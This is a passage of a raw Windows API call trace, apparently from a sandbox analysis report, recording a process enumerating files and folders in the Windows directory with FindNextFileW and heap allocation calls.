ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040bf8 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2041068 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xccf3f460, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xccf3f460, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c08 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x20410b8 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c18 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3a) returned 0x20410f8 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="rescache", cAlternateFileName="")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c28 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x2041140 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c38 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x2041180 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="SchCache", cAlternateFileName="")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c48 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x20411c0 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="schemas", cAlternateFileName="")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c58 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x2041200 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="security", cAlternateFileName="")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c68 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x20420d0 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c78 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x2042110 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c88 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x2042158 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Setup", cAlternateFileName="")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040c98 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x2042198 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xa0a9a300, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x58b8, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xaf387a18, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9968150d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040ca8 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x20421e8 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040cb8 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4a) returned 0x20431d0 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Speech", cAlternateFileName="")) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040cc8 [0063.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2e) returned 0x2043240 [0063.511] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Starter.xml", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="system", cAlternateFileName="")) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040cd8 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2e) returned 0x2043278 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="system.ini", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f1b9570, ftLastAccessTime.dwHighDateTime=0x1d75d2a, ftLastWriteTime.dwLowDateTime=0x1f1b9570, ftLastWriteTime.dwHighDateTime=0x1d75d2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="System32", cAlternateFileName="")) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040ce8 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x2042228 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4965d8c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4965d8c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040cf8 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x2042268 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="TAPI", cAlternateFileName="")) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040d08 [0063.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x20432b0 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Tasks", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xccbf9620, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xccbf9620, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Temp", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="tracing", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3695960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc3695960, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc36bbac0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="twain.dll", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="twain_32", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Vss", cAlternateFileName="")) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Web", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3ff7699c, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="win.ini", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e196a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x18e196a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x40276c30, ftLastWriteTime.dwHighDateTime=0x1d75d2a, nFileSizeHigh=0x0, nFileSizeLow=0x224a5, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x716f6b60, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x716f6b60, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, 